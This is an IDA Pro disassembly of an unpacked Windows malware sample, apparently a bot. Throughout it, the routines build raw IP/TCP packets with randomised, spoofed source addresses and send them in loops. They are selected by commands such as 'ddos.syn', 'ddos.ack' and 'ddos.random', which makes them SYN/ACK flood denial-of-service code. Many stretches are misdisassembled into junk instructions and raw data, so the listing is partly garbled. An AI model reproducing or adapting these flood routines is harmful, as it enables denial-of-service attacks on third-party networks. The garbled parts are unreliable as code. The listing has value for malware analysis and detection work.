; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1BEF102BF0AC9B8F121ECD1A55ED6CA7 ; File Name : u:\work\1bef102bf0ac9b8f121ecd1a55ed6ca7_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001B000 ( 110592.) ; Section size in file : 0001B000 ( 110592.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: seg000:0040C3D4o ; .data:004614DCo var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_41C04C ; GetTickCount push eax call sub_41055D lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E9 push eax lea eax, [ebp+var_494] push offset unk_41E040 push eax call sub_41050B xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40E367 add esp, 14h loc_401090: ; CODE XREF: start+6Ej lea eax, [ebp+var_494] push eax call sub_407E0E push [ebp+var_290] call sub_4102D3 pop ecx pop ecx push esi call near ptr 3D0000h sbb eax, 8B555E5Fh ; CODE XREF: sub_4013E9+40p start endp ; sp-analysis failed in al, dx sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call ds:dword_430718 ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: seg000:004010E9j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_430834 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-20h], eax jz loc_4013DD push esi lea ecx, [ebp-40h] push 4 push ecx push 2 push ebx push eax mov [ebp-40h], edi call ds:dword_430774 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013D3 push dword ptr [ebp+14h] mov word ptr [ebp-58h], 2 call ds:dword_430794 ; ntohs mov esi, [ebp+8] push 28h mov [ebp-56h], ax mov [ebp-54h], esi mov byte ptr [ebp-34h], 45h call ds:dword_430794 ; ntohs push dword ptr [ebp+14h] mov [ebp-32h], ax mov [ebp-30h], di mov [ebp-2Eh], bx mov byte ptr [ebp-2Ch], 80h mov byte ptr [ebp-2Bh], 6 mov [ebp-2Ah], bx mov [ebp-24h], esi call ds:dword_430794 ; ntohs mov [ebp-12h], ax call sub_410567 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_430794 ; ntohs push 12345678h mov [ebp-14h], ax call ds:dword_430790 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp-10h], eax push dword ptr [ebp+10h] call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: seg000:004011B7j push offset aDdos_ack ; "ddos.ack" push dword ptr [ebp+10h] call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: seg000:004011D3j push offset aDdos_random ; "ddos.random" push dword ptr [ebp+10h] call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_410567 push 3 cdq pop ecx idiv ecx mov [ebp-0Ch], edx call sub_410567 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-7], dl loc_401216: ; CODE XREF: seg000:004011C0j ; seg000:004011DCj ... push 4000h mov byte ptr [ebp-8], 50h call ds:dword_430794 ; ntohs mov [ebp-6], ax lea eax, [ebp-48h] push eax mov [ebp-2], bx mov [ebp+10h], ebx call near ptr 3D0000h or byte ptr [ebp-17AF1BBBh], 0BDh in eax, dx cld jmp fword ptr [edx] ; --------------------------------------------------------------------------- dd 8BBC75FFh, 0FF991845h, 5052B875h, 0F76BE8h, 0E4450300h dd 135E146Ah, 4589E855h, 0C85589C4h, 0FC5D8966h, 0F2FAE8h dd 0E9B99900h, 0F7000003h, 0E8C281F9h, 52000003h, 79415FFh dd 89660043h, 0DCE8EC45h, 8B0000F2h, 10E7C1F8h, 0F2D2E8h dd 57F80B00h, 79415FFh, 0B70F0043h, 0F04589C0h, 0FF0C458Bh dd 0FF500C45h, 43079015h, 0D8458900h, 56DC458Bh, 888C4589h dd 45C6905Dh, 15FF0691h, 430794h, 92458966h, 89D8458Bh dd 458D8845h, 50206A88h, 0FF4C858Dh, 0E850FFFFh, 0F30Ch dd 56EC458Dh, 6C858D50h, 50FFFFFFh, 0F2FBE8h, 4C858D00h dd 6AFFFFFFh, 8BE85034h, 66000061h, 8DFC4589h, 5056CC45h dd 0FF4C858Dh, 0E850FFFFh, 0F2D8h, 56EC458Dh, 60858D50h dd 50FFFFFFh, 0F2C7E8h, 8D046A00h, 0FFFF7485h, 0E85053FFh dd 0F258h, 8D44C483h, 0FFFF4C85h, 50286AFFh, 6145E8h, 45896600h dd 0CC458DD6h, 858D5056h, 0FFFFFF4Ch, 0F292E850h, 0C4830000h dd 0A8458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh, 0E075FF50h dd 7F415FFh, 0F8830043h, 12874FFh, 458D1045h, 75E850E4h dd 32FFFCECh, 3BE8458Bh, 3C7FC845h, 0FECA8C0Fh, 458BFFFFh dd 0C4453BE4h, 0BDE92E73h, 0FFFFFFFEh, 43073015h, 858D5000h dd 0FFFFFF0Ch, 41E07C68h, 4CE85000h, 8D0000F1h, 0FFFF0C85h dd 43E850FFh, 8300006Ah, 3EB10C4h ; --------------------------------------------------------------------------- mov ebx, [ebp+10h] loc_4013D3: ; CODE XREF: seg000:0040112Aj push dword ptr [ebp-20h] call ds:dword_430828 ; closesocket pop esi loc_4013DD: ; CODE XREF: seg000:0040110Dj call ds:dword_430700 ; WSACleanup mov eax, ebx loc_4013E5: ; CODE XREF: seg000:004010EDj pop edi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4013E9 proc near ; CODE XREF: start+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40731F push [esp+10h+arg_4] mov esi, eax call sub_410A7F push [esp+14h+arg_C] mov ebx, eax call sub_410A7F mov edi, eax call sub_410567 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call near ptr loc_4010AF+3 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; --------------------------------------------------------------------------- loc_401447: ; DATA XREF: seg000:0040C5BCo push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+8] push edi push 68h mov esi, eax pop ecx lea edi, [ebp-1BCh] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call ds:dword_430810 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_4014E2 call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp-3BCh] push offset unk_41E21C loc_401495: ; DATA XREF: seg002:0041EB54o push eax call sub_41050B xor edi, edi add esp, 0Ch cmp [ebp-24h], edi jnz short loc_4014C5 push edi lea eax, [ebp-3BCh] push dword ptr [ebp-28h] push eax lea eax, [ebp-0B8h] push eax push dword ptr [ebp-1BCh] call sub_40E367 add esp, 14h loc_4014C5: ; CODE XREF: seg000:004014A3j lea eax, [ebp-3BCh] push eax call sub_407E0E push dword ptr [ebp-38h] call sub_4102D3 pop ecx pop ecx push edi call near ptr 3D0000h outsd loc_4014E2: ; CODE XREF: seg000:00401481j lea ecx, [ebp-0Ch] push 4 loc_4014E7: ; CODE XREF: seg000:00401558j push ecx xor edi, edi push 2 push edi push eax mov [ebp-0Ch], ebx call ds:dword_430774 ; setsockopt cmp eax, 0FFFFFFFFh jnz short near ptr loc_401558+1 call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp-3BCh] push offset unk_41E1D0 push eax call sub_41050B add esp, 0Ch cmp [ebp-24h], edi jnz short loc_40153C push edi lea eax, [ebp-3BCh] push dword ptr [ebp-28h] push eax lea eax, [ebp-0B8h] push eax push dword ptr [ebp-1BCh] call sub_40E367 add esp, 14h loc_40153C: ; CODE XREF: seg000:0040151Aj lea eax, [ebp-3BCh] push eax call sub_407E0E push dword ptr [ebp-38h] call sub_4102D3 pop ecx pop ecx push edi call near ptr 3D0000h loc_401558: ; CODE XREF: seg000:004014FAj loope loc_4014E7 test [eax-2], ecx ; --------------------------------------------------------------------------- db 2 dup(0FFh), 50h dd 7D015FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h, 0E19C68FFh dd 0E8500041h, 0EF8Fh, 59DC7D39h, 57207559h, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0CDC7h, 8D14C483h, 0FFFC4485h, 5FE850FFh, 0FF000068h dd 1CE8C875h, 590000EDh, 41E85759h, 4CFFFCEAh, 458D106Ah dd 0E85057E4h, 0EFC4h, 660CC483h, 2E445C7h, 15FF5700h dd 430794h, 0E6458966h, 0FE48858Dh, 0FF50FFFFh, 4307D015h dd 4C358B00h, 890041C0h, 7D89E845h, 89D6FF08h, 0D6FFF845h dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 0FD0453Bh, 19487h dd 41C6800h, 5C60000h, 42EFB8h, 9415FF45h, 39004307h, 0A366D47Dh dd 42EFBAh, 0BC1D8966h, 660042EFh, 0EFBE3D89h, 5C60042h dd 42EFC0h, 0C11D8880h, 660042EFh, 0EFC23D89h, 30740042h dd 0EF0EE8h, 0C1D88B00h, 4E808E3h, 30000EFh, 8E3C1D8h dd 0EEFAE8h, 0C1D80300h, 0F0E808E3h, 30000EEh, 89016AD8h dd 42EFC41Dh, 18EB5B00h, 0FE44B5FFh, 0A6E8FFFFh, 5900005Dh dd 0D015FF50h, 0A3004307h, 42EFC4h, 0A3E8458Bh, 42EFC8h dd 0EEBEE8h, 0B99900h, 0F7000001h, 0CC1588F9h, 0E80042EFh dd 0EEABh, 100B999h, 0F9F70000h, 0EFCD1588h, 98E80042h dd 990000EEh, 0F0B9h, 4006800h, 0F9F70000h, 0CE3D8966h dd 660042EFh, 0EFD21D89h, 66420042h, 0EFD01589h, 70E80042h dd 990000EEh, 0FFB9h, 52F9F700h, 42EFD468h, 0EE86E800h dd 0C4830000h, 0E4458D0Ch, 5750106Ah, 41C68h, 0EFB86800h dd 75FF0042h, 0F415FFFCh, 83004307h, 874FFF8h, 0E90845FFh dd 0FFFFFECAh, 0FFFC75FFh, 43082815h, 3015FF00h, 50004307h dd 0FE48858Dh, 75FFFFFFh, 38685008h, 8D0041E1h, 0FFFC4485h dd 20068FFh, 0E8500000h, 0F326h, 3918C483h, 2075DC7Dh dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh dd 0FFFFFE44h, 0CBDEE8h, 14C48300h, 0FC44858Dh, 0E850FFFFh dd 6676h, 0E8C875FFh, 0EB33h, 0E8575959h, 0FFFCE858h, 0FC75FF13h dd 82815FFh, 458B0043h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh, 0C8858D50h dd 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 500041E0h, 0ED22E8h dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0CB59E8FFh, 0C4830000h dd 44858D14h, 50FFFFFCh, 65F1E8h, 0C875FF00h, 0EAAEE8h dd 57595900h, 0FCE7D3E8h db 0FFh, 0ECh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182E proc near ; DATA XREF: seg000:0040C2C5o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7C push eax lea eax, [ebp+var_414] push offset dword_41E264 push eax call sub_41050B xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AB push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40E367 add esp, 14h loc_4018AB: ; CODE XREF: sub_40182E+5Bj lea eax, [ebp+var_414] push eax call sub_407E0E push [ebp+var_10] call sub_4102D3 pop ecx pop ecx push esi call near ptr 3D0000h jl short near ptr loc_401925+3 pop esi sub_40182E endp ; sp-analysis failed loc_4018CA: ; CODE XREF: sub_401B7C+3Cp push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call ds:dword_430718 ; WSAStartup test eax, eax jz short loc_40190A xor eax, eax jmp loc_401B78 ; --------------------------------------------------------------------------- loc_40190A: ; CODE XREF: seg000:00401901j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_430834 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-0Ch], eax loc_401925: ; CODE XREF: sub_40182E+99j jz loc_401B70 push esi lea ecx, [ebp-38h] push 4 push ecx push 2 push ebx push eax mov [ebp-38h], edi call ds:dword_430774 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401B66 push 10h lea eax, [ebp-50h] push ebx push eax call sub_410590 add esp, 0Ch mov word ptr [ebp-50h], 2 loc_40195D: ; CODE XREF: seg000:004019CEj push dword ptr [ebp+10h] call ds:dword_430794 ; ntohs mov esi, [ebp+8] push 28h mov [ebp-4Eh], ax mov [ebp-4Ch], esi mov byte ptr [ebp-20h], 45h call ds:dword_430794 ; ntohs push dword ptr [ebp+10h] mov [ebp-1Eh], ax mov [ebp-1Ch], di mov [ebp-1Ah], bx mov byte ptr [ebp-18h], 80h mov byte ptr [ebp-17h], 6 mov [ebp-16h], bx mov [ebp-10h], esi call ds:dword_430794 ; ntohs push 4000h mov [ebp-32h], ax mov [ebp-2Ch], ebx mov byte ptr [ebp-28h], 50h mov byte ptr [ebp-27h], 2 call ds:dword_430794 ; ntohs mov [ebp-26h], ax lea eax, [ebp-40h] push eax mov [ebp-22h], bx mov [ebp+10h], ebx call near ptr 3D0000h jz short loc_40195D inc ebp clc push eax call near ptr 3D0000h xchg eax, esi push dword ptr [ebp-3Ch] mov eax, [ebp+14h] cdq push dword ptr [ebp-40h] push edx push eax call sub_4109C0 add eax, [ebp-8] mov esi, edx adc esi, [ebp-4] mov [ebp-58h], eax loc_4019F5: ; CODE XREF: seg000:00401B34j mov [ebp-24h], bx call sub_410567 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_430794 ; ntohs mov [ebp-34h], ax call sub_410567 mov edi, eax shl edi, 10h call sub_410567 or edi, eax push edi call ds:dword_430794 ; ntohs movzx eax, ax mov [ebp-30h], eax mov eax, [ebp+0Ch] inc dword ptr [ebp+0Ch] push eax call ds:dword_430790 ; ntohl push 14h mov [ebp-14h], eax mov eax, [ebp-10h] pop edi push edi mov [ebp-74h], eax mov [ebp-70h], bl mov byte ptr [ebp-6Fh], 6 call ds:dword_430794 ; ntohs mov [ebp-6Eh], ax mov eax, [ebp-14h] mov [ebp-78h], eax lea eax, [ebp-78h] push 20h push eax lea eax, [ebp-0B4h] push eax call sub_4105F0 lea eax, [ebp-34h] push edi push eax lea eax, [ebp-94h] push eax call sub_4105F0 lea eax, [ebp-0B4h] push 34h push eax call sub_40748E mov [ebp-24h], ax lea eax, [ebp-20h] push edi push eax lea eax, [ebp-0B4h] push eax call sub_4105F0 lea eax, [ebp-34h] push edi push eax lea eax, [ebp-0A0h] push eax call sub_4105F0 push 4 lea eax, [ebp-8Ch] push ebx push eax call sub_410590 add esp, 44h lea eax, [ebp-0B4h] push 28h push eax call sub_40748E mov [ebp-16h], ax lea eax, [ebp-20h] push edi push eax lea eax, [ebp-0B4h] push eax call sub_4105F0 add esp, 14h lea eax, [ebp-50h] push 10h push eax push ebx lea eax, [ebp-0B4h] push 28h push eax push dword ptr [ebp-0Ch] call ds:dword_4307F4 ; sendto cmp eax, 0FFFFFFFFh jz short loc_401B3A add [ebp+10h], eax lea eax, [ebp-8] push eax call near ptr 3D0000h mov eax, ds:3BFC458Bh mov byte ptr [edi+3Ch], 0Fh mov eax, cs ; --------------------------------------------------------------------------- dw 0FFFEh ; --------------------------------------------------------------------------- dec dword ptr [ebx+453BF845h] test al, 73h db 2Eh jmp loc_4019F5 ; --------------------------------------------------------------------------- loc_401B3A: ; CODE XREF: seg000:00401B11j call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp-0F4h] push offset dword_41E2A0 push eax call sub_41050B lea eax, [ebp-0F4h] push eax call sub_407E0E add esp, 10h jmp short loc_401B66 ; --------------------------------------------------------------------------- mov ebx, [ebp+10h] loc_401B66: ; CODE XREF: seg000:00401942j ; seg000:00401B61j push dword ptr [ebp-0Ch] call ds:dword_430828 ; closesocket pop esi loc_401B70: ; CODE XREF: seg000:loc_401925j call ds:dword_430700 ; WSACleanup mov eax, ebx loc_401B78: ; CODE XREF: seg000:00401905j pop edi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40731F push [esp+10h+arg_4] mov esi, eax call sub_410A7F push [esp+14h+arg_8] mov ebx, eax call sub_410A7F mov edi, eax call sub_410567 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call loc_4018CA add esp, 1Ch test eax, eax jnz short loc_401BC7 push 1 pop eax loc_401BC7: ; CODE XREF: sub_401B7C+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7C endp ; --------------------------------------------------------------------------- loc_401BD6: ; DATA XREF: seg000:0040B70Eo push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+8] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp-240h] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp-9Fh] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp-0A0h], bl rep stosd stosw stosb mov edi, ds:dword_41C04C call edi ; GetTickCount push eax call sub_41055D pop ecx push 0FFh push 3 push 2 call ds:dword_430810 ; socket cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short near ptr loc_401C9E+1 call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp-440h] push offset dword_41E428 push eax call sub_41050B add esp, 0Ch cmp [ebp-0A8h], ebx jnz short loc_401C7F push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_40E367 add esp, 14h loc_401C7F: ; CODE XREF: seg000:00401C5Aj lea eax, [ebp-440h] push eax call sub_407E0E push dword ptr [ebp-0BCh] call sub_4102D3 pop ecx pop ecx push ebx call near ptr 3D0000h loc_401C9E: ; CODE XREF: seg000:00401C37j mov eax, 6ACC4D8Dh add al, 51h push 2 push ebx push eax mov [ebp-34h], esi call ds:dword_430774 ; setsockopt cmp eax, 0FFFFFFFFh jnz short near ptr loc_401D1C+1 call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp-440h] push offset dword_41E3DC push eax call sub_41050B add esp, 0Ch cmp [ebp-0A8h], ebx jnz short loc_401CFD push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_40E367 add esp, 14h loc_401CFD: ; CODE XREF: seg000:00401CD8j lea eax, [ebp-440h] push eax call sub_407E0E push dword ptr [ebp-0BCh] call sub_4102D3 pop ecx pop ecx push ebx call near ptr 3D0000h loc_401D1C: ; CODE XREF: seg000:00401CB5j and [ebp-23B7Bh], ecx call dword ptr [eax-1] adc eax, offset dword_4307D0 cmp eax, 0FFFFFFFFh jnz short loc_401D8D lea eax, [ebp-440h] push offset dword_41E3A8 push eax call sub_41050B cmp [ebp-0A8h], ebx pop ecx pop ecx jnz short loc_401D6D push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_40E367 add esp, 14h loc_401D6D: ; CODE XREF: seg000:00401D48j lea eax, [ebp-440h] push eax call sub_407E0E push dword ptr [ebp-0BCh] call sub_4102D3 pop ecx pop ecx push ebx call near ptr 3D0000h aas loc_401D8D: ; CODE XREF: seg000:00401D2Dj push 10h lea eax, [ebp-44h] push ebx push eax call sub_410590 add esp, 0Ch mov word ptr [ebp-44h], 2 push ebx call ds:dword_430794 ; ntohs mov [ebp-42h], ax lea eax, [ebp-23Ch] push eax call ds:dword_4307D0 ; inet_addr mov [ebp-40h], eax mov [ebp+8], ebx call edi ; GetTickCount mov [ebp-30h], eax loc_401DC5: ; CODE XREF: seg000:00402006j call edi ; GetTickCount sub eax, [ebp-30h] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp-0B4h] ja near ptr loc_402088+1 push 28h mov byte ptr [ebp-2Ch], 45h call ds:dword_430794 ; ntohs cmp [ebp-0B0h], ebx mov [ebp-2Ah], ax mov [ebp-28h], si mov [ebp-26h], bx mov byte ptr [ebp-24h], 80h mov byte ptr [ebp-23h], 6 mov [ebp-22h], bx jz short loc_401E38 call sub_410567 mov esi, eax shl esi, 8 call sub_410567 add esi, eax shl esi, 8 call sub_410567 add esi, eax shl esi, 8 call sub_410567 add esi, eax push 1 mov [ebp-20h], esi pop esi jmp short loc_401E4E ; --------------------------------------------------------------------------- loc_401E38: ; CODE XREF: seg000:00401E09j push dword ptr [ebp-240h] call sub_407435 pop ecx push eax call ds:dword_4307D0 ; inet_addr mov [ebp-20h], eax loc_401E4E: ; CODE XREF: seg000:00401E36j mov eax, [ebp-40h] cmp [ebp-0B8h], ebx mov [ebp-1Ch], eax jnz short loc_401E6C call sub_410567 cdq mov ecx, 401h idiv ecx push edx jmp short loc_401E72 ; --------------------------------------------------------------------------- loc_401E6C: ; CODE XREF: seg000:00401E5Aj push dword ptr [ebp-0B8h] loc_401E72: ; CODE XREF: seg000:00401E6Aj call ds:dword_430794 ; ntohs mov [ebp-16h], ax call sub_410567 cdq mov ecx, 401h idiv ecx push edx call ds:dword_430794 ; ntohs push 12345678h mov [ebp-18h], ax call ds:dword_430790 ; ntohl mov [ebp-14h], eax lea eax, [ebp-1BCh] push offset aSyn ; "syn" push eax call sub_410AE0 pop ecx test eax, eax pop ecx jz short loc_401EC2 mov [ebp-10h], ebx mov byte ptr [ebp-0Bh], 2 jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EC2: ; CODE XREF: seg000:00401EB7j lea eax, [ebp-1BCh] push offset aAck ; "ack" push eax call sub_410AE0 pop ecx test eax, eax pop ecx jz short loc_401EE2 mov [ebp-10h], ebx mov byte ptr [ebp-0Bh], 10h jmp short loc_401F1E ; --------------------------------------------------------------------------- loc_401EE2: ; CODE XREF: seg000:00401ED7j lea eax, [ebp-1BCh] push offset aRandom ; "random" push eax call sub_410AE0 pop ecx test eax, eax pop ecx jz short loc_401F1E call sub_410567 push 3 cdq pop ecx idiv ecx mov [ebp-10h], edx call sub_410567 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-0Bh], dl loc_401F1E: ; CODE XREF: seg000:00401EC0j ; seg000:00401EE0j ... push 200h mov byte ptr [ebp-0Ch], 50h call ds:dword_430794 ; ntohs mov [ebp-0Ah], ax mov eax, [ebp-20h] mov [ebp-64h], eax mov eax, [ebp-1Ch] push 14h mov [ebp-6], bx mov [ebp-8], bx mov [ebp-60h], eax mov [ebp-5Ch], bl mov byte ptr [ebp-5Bh], 6 call ds:dword_430794 ; ntohs mov [ebp-5Ah], ax lea eax, [ebp-64h] push 20h push eax lea eax, [ebp-0A0h] push eax call sub_4105F0 lea eax, [ebp-18h] push 14h push eax lea eax, [ebp-80h] push eax call sub_4105F0 lea eax, [ebp-0A0h] push 34h push eax call sub_40748E mov [ebp-8], ax lea eax, [ebp-2Ch] push 14h push eax lea eax, [ebp-0A0h] push eax call sub_4105F0 lea eax, [ebp-18h] push 14h push eax lea eax, [ebp-8Ch] push eax call sub_4105F0 push 4 lea eax, [ebp-78h] push ebx push eax call sub_410590 add esp, 44h lea eax, [ebp-0A0h] push 28h push eax call sub_40748E mov [ebp-22h], ax lea eax, [ebp-2Ch] push 14h push eax lea eax, [ebp-0A0h] push eax call sub_4105F0 add esp, 14h lea eax, [ebp-44h] push 10h push eax push ebx lea eax, [ebp-0A0h] push 3Ch push eax push dword ptr [ebp-4] call ds:dword_4307F4 ; sendto cmp eax, 0FFFFFFFFh jz short loc_40200B inc dword ptr [ebp+8] jmp loc_401DC5 ; --------------------------------------------------------------------------- loc_40200B: ; CODE XREF: seg000:00402001j push dword ptr [ebp-4] call ds:dword_430828 ; closesocket call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp-23Ch] push dword ptr [ebp+8] push eax push offset dword_41E334 lea eax, [ebp-440h] push 200h push eax call sub_410A8A add esp, 18h cmp [ebp-0A8h], ebx jnz short loc_402069 push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_40E367 add esp, 14h loc_402069: ; CODE XREF: seg000:00402044j lea eax, [ebp-440h] push eax call sub_407E0E push dword ptr [ebp-0BCh] call sub_4102D3 pop ecx pop ecx push ebx call near ptr 3D0000h loc_402088: ; CODE XREF: seg000:0040208Aj ; seg000:00401DD9j and al, 0FFh jnz short loc_402088 call ds:dword_430828 ; closesocket mov eax, [ebp+8] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div dword ptr [ebp-0B4h] shr ecx, 14h push ecx push eax lea eax, [ebp-23Ch] push dword ptr [ebp+8] push eax lea eax, [ebp-1BCh] push eax lea eax, [ebp-440h] push offset dword_41E2D0 push eax call sub_41050B add esp, 1Ch cmp [ebp-0A8h], ebx jnz short loc_4020FA push ebx lea eax, [ebp-440h] push dword ptr [ebp-0ACh] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-240h] call sub_40E367 add esp, 14h loc_4020FA: ; CODE XREF: seg000:004020D5j lea eax, [ebp-440h] push eax call sub_407E0E push dword ptr [ebp-0BCh] call sub_4102D3 pop ecx pop ecx push ebx call near ptr 3D0000h mov eax, ds:6083C18Bh ; CODE XREF: sub_40238E+Ep ; sub_40238E+33p ... add al, 0 loc_402120: ; DATA XREF: seg002:off_426228o and dword ptr [eax], 0 retn ; =============== S U B R O U T I N E ======================================= sub_402124 proc near ; CODE XREF: sub_40238E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_410C0F mov edi, eax pop ecx test edi, edi jz short loc_402156 push ebx push 0 push edi call sub_410590 push ebx push [esp+1Ch+arg_0] push edi call sub_4105F0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_402156: ; CODE XREF: sub_402124+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_402124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40215E 